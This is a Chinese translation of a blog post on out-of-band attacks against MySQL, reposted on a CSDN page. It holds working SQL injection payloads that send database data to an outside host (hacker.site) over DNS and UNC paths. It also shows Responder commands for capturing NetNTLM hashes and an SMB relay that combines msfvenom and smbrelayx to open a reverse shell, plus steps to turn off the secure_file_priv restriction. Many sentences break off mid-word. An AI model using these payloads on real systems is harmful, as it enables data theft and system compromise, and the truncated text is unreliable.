mysql带外_【技术分享】MySQL带外攻击(含演示视频)

本文详细介绍了MySQL带外攻击的概念,包括通过数据导入导出的限制、全局变量secure_file_priv的作用。讨论了如何利用共享文件系统和DNS解析来提取数据,以及如何在Windows环境下通过SMB中继攻击获取NetNTLM哈希。文章还提到了基于union和error的注入方法,并给出了XSS与SQLi结合的攻击示例。最后,提供了防范此类攻击的权变措施。
摘要由CSDN通过智能技术生成

5ef14c7b98330befad5b48bb6d5a98c6.png

Brexit

预估稿费:180RMB

投稿方式:发送邮件至 linwei#360.cn ,或登陆网页版在线投稿

概述

关于MSSQL和所有的这一切都只在Windows环境下的MySQL中有可能实现。

什么是带外注入?

这些攻击涉及通过除服务器以外的其它方式提取

MySQL的限制条件

MySQL中存在一个全局系统变量secure_file_priv。这个变量用来限制数据导入和导出操作的影响,例如由LOAD DATA 和SELECT…INTO OUTFILE语句和LOAD_FILE()函数执行的行为。

如果将这个变量设置为一个

如果这个变量为空,那么它不会产生影响,这样

如果将这个变量设置为NULL,那么服务器就会禁用导入和导出操作。这个值从MySQL 5.5.53版本开始就是合法的。

在MySQL 5.5.53版本之前,这个变量默认为空,因此我们就可以使用这些函数。但是在该版本之后,NULL值会禁用这些函数。我们可使用其中的一种方法来检查这个变量的值。Secure_file_priv是一个全局变量且是一个只读变量,也就是说在运行时无法更改。

select @@secure_file_priv;

select @@global.secure_file_priv;

show variables like "secure_file_priv";

例如在我的MySQL 5.5.34版本中,默认值为空,也就是说我们能够使用这些函数。

e2f6e21bb9a3b9c6b213e32c8a90a9fc.png

在MySQL 5.6.34版本中,这个值默认是NULL,它会禁用导入和导出操作。

4419a030a612d234c00565a9ebe675b0.png

权变措施

以下是我认为可以解决5.5.53之后版本中这个问题的一些权变措施。

启动

my

在”my.ini”配置文件中增加一个条目。

secure-file-priv=

要查找默认选项的加载顺序和配置文件的路径,输入以下内容:

mysqld.exe --help --verbose

将配置文件指向mysqld.exe。

你可以创建一个新的文件myfile.ini并将这个文件作为MySQL的默认配置。

mysqld.exe --defaults-file=myfile.ini

你的配置内容是:

[mysqld]

secure-file-priv=

使用文件系统提取数据

在MySQL中,我们可以使用一个共享文件系统当做提取数据的替代渠道。

select @@version into outfile '192.168.0.100//temp//out.txt';

select @@version into dumpfile '192.168.0.100//temp//out.txt';

select @@version into outfile '//192.168.0.100/temp/out.txt';

select @@version into dumpfile '//192.168.0.100/temp/out.txt';

注意,如果引用被过滤,那么你就无法使用十六进制会话或者其他格式作为文件路径。

使用DNS解析提取数据

另外一种方法就是使用DNS解析。

select load_file(con

你可以清楚地看到5.6.34版本跟DNS查询是一起被发送的。

250a69a71cffe7a484d0f3dea6cf1538.png

当MySQL尝试解析DNS查询时,我们能够记录DNS请求并成功地从hacker.site的DNS服务器中成功提取数据。数据被记录为一个子域。

dd87549640d296cc28f2043000026ba9.png

提取数据时,要注意你处理的是DNS请求,不能使用特殊字符。要使用MySQL字符串函数如m

窃取NetNTLM哈希

如你所见,’load_file’和’into outfile/dumpfile’跟Windows下的UNC路径运行良好。它可被用于解析一个不存在的路径,而且当DNS失败时,这个请求可被发送为LLMNR、NetB

e1ceb2a42da935593a6955c8a01aa4d5.png

我们在攻击中可用到的工具包括:

Responder

Ilmnr_response

MiTMf

在这个例子中,我会使用Responder。我在

responder -I eth0 -rv

然后,我们可以使用load_file、into outfile/dumpfile或load data infile来解析一个无效的UNC路径。

select load_file('error//abc');

select load_file(0x5c5c5c5c6572726f725c5c616263);

select 'osanda' into dumpfile 'error//abc';

select 'osanda' into outfile 'error//abc';

load data infile 'error//abc' into

25a718e81681d4ea724e2807a33459b0.png

SMB中继攻击

通过使用函数如load_file、into outfile/dumpfile和load data infile,我们能够访问Windows环境下的UNC路径。我们能够在SMB中继攻击中利用这个功能,并且在目标设备中弹出一个

632ea6b9882ca9a138571713204e982c.png

这是为此次试验做的实验室设置配置。

MySQL服务器:Windows 8: 192.168.0.100

攻击者:Kali: 192.168.0.101

受害者:Windows 7: 192.168.0.103(以

使用的工具是:

Smbrelayx

Metasploit

首先,我在Kali盒子中生成了一个反向shell,并在Metasploit上运行multi/handler模块。

msfvenom -p

接着,运行smbrelayx工具以明确受害者的IP地址和生成的反向shell并等待流入的连接。

smbrelayx.py -h 192.168.0.103 -e ./reverse_shell.exe

一旦我们从MySQL服务器中执行任意语句,我们会从受害者盒子中得到反向shell。

select load_file('192.168.0.101//aa');

select load_file(0x5c5c5c5c3139322e3136382e302e3130315c5c6161);

select 'osanda' into dumpfile '192.168.0.101//aa';

select 'osanda' into outfile '192.168.0.101//aa';

load data infile '192.168.0.101//aa' into table database.table_name;

这些是来自multi/handler模块Metasploit中的选项:

993137ebc8a0edf168701a47665f496a.png

一旦MySQL服务器把一个请求发送到Kali盒子,smbrelayx就会执行SMB中继攻击并且将我们的反向shell上传并执行。

5277242bc4f8e28158494bc5af4f8b5a.png

如果攻击成功,那么我们就会从Windows 7盒子中得到我们的反向shell。

23cd14b4ca3b2bea97394ef0bd9580c8.png

基于union和error的注入

Load_file函数能够用于基于union和error的注入。例如,在基于union的场景中,我们可以使用OOB注入,如:

我们可以只使用基于error的技术如BIGINT溢出方法或者EXP 基于error的方法。

http://192.168.0.100/?id=-1' or !(select*from(select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))x)-~0-- -

http://192.168.0.100/?id=-1' or exp(~(select*from(select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))a))-- -

你可以不使用or,而使用||、 |、and、 &&、 &、 >>、 <、 >=、 *、 mul、 /、 div、 -、 +、 % 和 mod。

XSS + SQLi

你可以把

需要注意的是,当处理

你也可以使用MySQL来回显

http://192.168.0.100/?id=-1' union select 1,'

结论

当由于向量被禁用、受限或者被过滤且唯一的选择就是使用推理方法,从而导致所有带内方法不起作用时,我们可以使用以上提到的方法。

致谢

特别感谢@m3g9tr0n为研究提供的支持。

论文

参考

https://dev.mysql.com/doc/refman/5.5/en/

https://pen-testing.sans.org/blog/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-

https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/

32001b19098c56ad61a47a5dd4ca77fd.png

13d0232d095c13f4516e8a1d934334bd.png

本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。

原文链接:https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值